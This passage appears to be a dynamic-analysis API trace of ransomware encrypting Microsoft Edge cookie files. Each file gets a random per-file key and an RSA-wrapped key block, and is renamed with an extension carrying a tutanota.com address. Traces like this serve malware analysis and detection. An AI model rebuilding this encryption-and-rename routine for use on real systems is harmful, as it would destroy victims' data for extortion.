pszString="xyJO+SvQuwVHlgywHESEkTWwbeTUmJPrUwXE7OH+QzPnz7reEvK9HumjRwot02PH\nHtHbuXOMnuMz80suFmNCt+w3HMEwjbYBrT/rjFd02ZKmlTngEdEEAqZMxQ8loty0\nXWDvJbG79GG9dNa/6wHyJ3r5Cb3n5QOcT46p6V1/JQ4HcLwa1ngYLbn1/yHpaazV\nROanc8lpqrxxf/y6hEsTXwFOTti9BpJz/WochUcndkRWrVAdDLPIBSLuYyrlV63l\nSyzbr1wPwDrL5Le4R6aoZ+p5i6/yz8WB6I6Yz6i2LvvWlU8deo/jWYFDYvHMg3wo\n01QxwbscpNDROWSAqWx/Tw==\n", pcchString=0x2e3f9a8) returned 1 [0301.030] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.030] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.030] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.031] CloseHandle (hObject=0x1bac) returned 1 [0301.031] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\AFIOGFFU.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\afiogffu.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\AFIOGFFU.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\afiogffu.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.033] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.033] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\90T5B7AZ.cookie", dwFileAttributes=0x80) returned 1 [0301.033] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\90T5B7AZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\90t5b7az.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0301.034] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=374) returned 1 [0301.034] ReadFile (in: hFile=0x1bac, lpBuffer=0x2f81650, nNumberOfBytesToRead=0x176, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81650*, lpNumberOfBytesRead=0x2e3f9b4*=0x176, lpOverlapped=0x0) returned 1 [0301.035] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.035] WriteFile (in: hFile=0x1bac, lpBuffer=0x2f811b8*, nNumberOfBytesToWrite=0x176, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f811b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x176, lpOverlapped=0x0) returned 1 [0301.035] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x176 [0301.035] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.035] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.035] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.035] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.035] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.036] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LXqFkqa7dwgrnx5bFiNMR61CQu3nWfakYGaPEsX36w2DipZom6CFTCfOAd73WWHU\n1xeSBLPjkYT/ZP0vEROz+8/Xod2asQ4dCtdsRq3X6LBiESqZ/H2sHvYN28c4gbYX\noN3WHuEalUGR0qSnucUDBbPW02YX14ZaeVudbc3dwoB3tyzA628OYRA1QF25G2jW\nKD/Jp6rULZ3z6Y9szuWnhvywpdWGGhXi4lxxt8Ngubl6cn3a4yoeQDzcFFUYwzsj\n49+ibSVWk1W6XbrWuSfH4V33ELX0OXOjHdp8OTA6hp66NcMwtwCSnl/wKivOz1kK\nxS7Iup1TcGPaO7cG0sc6cw==\n", pcchString=0x2e3f9a8) returned 1 [0301.036] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.036] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.036] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.036] CloseHandle (hObject=0x1bac) returned 1 [0301.036] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\90T5B7AZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\90t5b7az.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\90T5B7AZ.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\90t5b7az.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.038] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.038] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5WBGHGR8.cookie", dwFileAttributes=0x80) returned 1 [0301.039] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5WBGHGR8.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\5wbghgr8.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0301.039] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=204) returned 1 [0301.040] ReadFile (in: hFile=0x1bac, lpBuffer=0x668ed8, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x668ed8*, lpNumberOfBytesRead=0x2e3f9b4*=0xcc, lpOverlapped=0x0) returned 1 [0301.040] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.040] WriteFile (in: hFile=0x1bac, lpBuffer=0x6698f8*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6698f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcc, lpOverlapped=0x0) returned 1 [0301.041] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcc [0301.041] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.041] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.041] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.041] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="g+eGYUHO5YdnjZfAmJkbnJJc6UBkn7yHxRwFN1hxBmBb+IvBIbdpVS2CUPFAinrd\n92kBBC87Tm5HbaLSWxjgmPgVA3lH1T9rAXYP2ZUCOCNdH3jDpuvz5l1doc0mg9GL\nEyZSLU3J5Jv0aQQaPYKkkPwQcWzAEz9M/QJ0jLEHeW3qNYmm3b7HiAYl9lob5sHw\nqoQwXJm1rmRh+HPMhAvhRbeo0PqCLxk+NqL+jXNF9wOVeWimTZ/mqKNVbtxol7Vs\nem7yz0l76EWKrN7bBsTq0luOYteIZnMUZzs1FEdY8jW6CVE6zHux7nm0y0LDkKBa\nbK2WYO8R9cbQeqskMzATgA==\n", pcchString=0x2e3f9a8) returned 1 [0301.041] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.041] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.041] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.041] CloseHandle (hObject=0x1bac) returned 1 [0301.041] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5WBGHGR8.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\5wbghgr8.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5WBGHGR8.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\5wbghgr8.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.044] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.044] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51HBQ3DH.cookie", dwFileAttributes=0x80) returned 1 [0301.045] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51HBQ3DH.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\51hbq3dh.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0301.046] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=133) returned 1 [0301.046] ReadFile (in: hFile=0x1bac, lpBuffer=0x598790, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x598790*, lpNumberOfBytesRead=0x2e3f9b4*=0x85, lpOverlapped=0x0) returned 1 [0301.047] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.047] WriteFile (in: hFile=0x1bac, lpBuffer=0x598820*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x598820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x85, lpOverlapped=0x0) returned 1 [0301.047] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x85 [0301.047] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.047] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.048] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.048] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.048] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.048] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IW5R9YRtgy4hqh9OfnOWs4KO6lmdaYqE4Dg3TIJ0PU5pTnHDig+QMDTWY7Oc30Gl\nAKHRRfNdeWCurlZxTvpN7Z67+b4C1xBGyezoxoLMgzsq3qUulXJjfJigXJ+lZV2K\nsgN5N/WfXaBGTtq3uCq//gqQN/NBWbSWRaAxooKBVVjJDrw+KiN+sE1zz/5R4j5o\nFtgouOIbtI432UZYIsbFUIVh8ObXoD52ky8NlhV3zrIA6jsJXaLslYW3tXHsKyPQ\nPbjjAvA1440uv9+AQYF/MMMqaXazy5hHOxJVidQtxlj23C/xYJh9DePKa5nFjK0n\n6Hb5QAp6YYJcEiRCWUxLOg==\n", pcchString=0x2e3f9a8) returned 1 [0301.048] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.048] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.048] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.048] CloseHandle (hObject=0x1bac) returned 1 [0301.049] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51HBQ3DH.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\51hbq3dh.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\51HBQ3DH.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\51hbq3dh.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.338] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.338] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\1IOSUXS4.cookie", dwFileAttributes=0x80) returned 1 [0301.338] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\1IOSUXS4.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\1iosuxs4.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0301.339] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=455) returned 1 [0301.339] ReadFile (in: hFile=0x1bac, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1c7, lpOverlapped=0x0) returned 1 [0301.340] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.340] WriteFile (in: hFile=0x1bac, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x1c7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1c7, lpOverlapped=0x0) returned 1 [0301.340] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1c7 [0301.340] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.340] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.340] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.340] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uUSsD5fhshmkYn6zIRgGsMF4B176J/j0DtEfRf6m5FxlHvFeVJNcrkM347A7++Aj\nsxxjP/w1j28aO9V2YwYDjFC5MPEuabwlFDj6x1KqqAv+PdDaFe7JD8/IFoubdgk2\nt6lMkbp/gu64St11ScG+7hSsB930PUnVc5HojqFvapgaFwLiZv+VY+IFjMk84eWD\nVSZgiBh7kS3SXpmIeubb1MgGUJtg/Ie8eQV4VD+Si04INGwxPBViCgl5lD5aJzQB\na2Q9I0FRmEDY6aUxLQo8vdogbHs0femZ4/nnYotA0hIq5g37BH5Ym2W+xpUv2WnW\n0r93BQPQAJP4PoJR4pA+Zg==\n", pcchString=0x2e3f9a8) returned 1 [0301.340] WriteFile (in: hFile=0x1bac, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0301.341] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.341] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.341] CloseHandle (hObject=0x1bac) returned 1 [0301.344] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\1IOSUXS4.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\1iosuxs4.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\1IOSUXS4.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\1iosuxs4.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0301.348] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0301.348] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\0Z215X0U.cookie", dwFileAttributes=0x80) returned 1 [0301.349] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\0Z215X0U.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\0z215x0u.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1bac [0301.350] GetFileSizeEx (in: hFile=0x1bac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=567) returned 1 [0301.350] ReadFile (in: hFile=0x1bac, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x237, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x237, lpOverlapped=0x0) returned 1 [0301.351] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=-567, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0301.351] WriteFile (in: hFile=0x1bac, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x237, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x237, lpOverlapped=0x0) returned 1 [0301.351] SetFilePointer (in: hFile=0x1bac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x237 [0301.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0301.351] WriteFile (in: hFile=0x1bac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0301.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0301.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0301.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0301.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 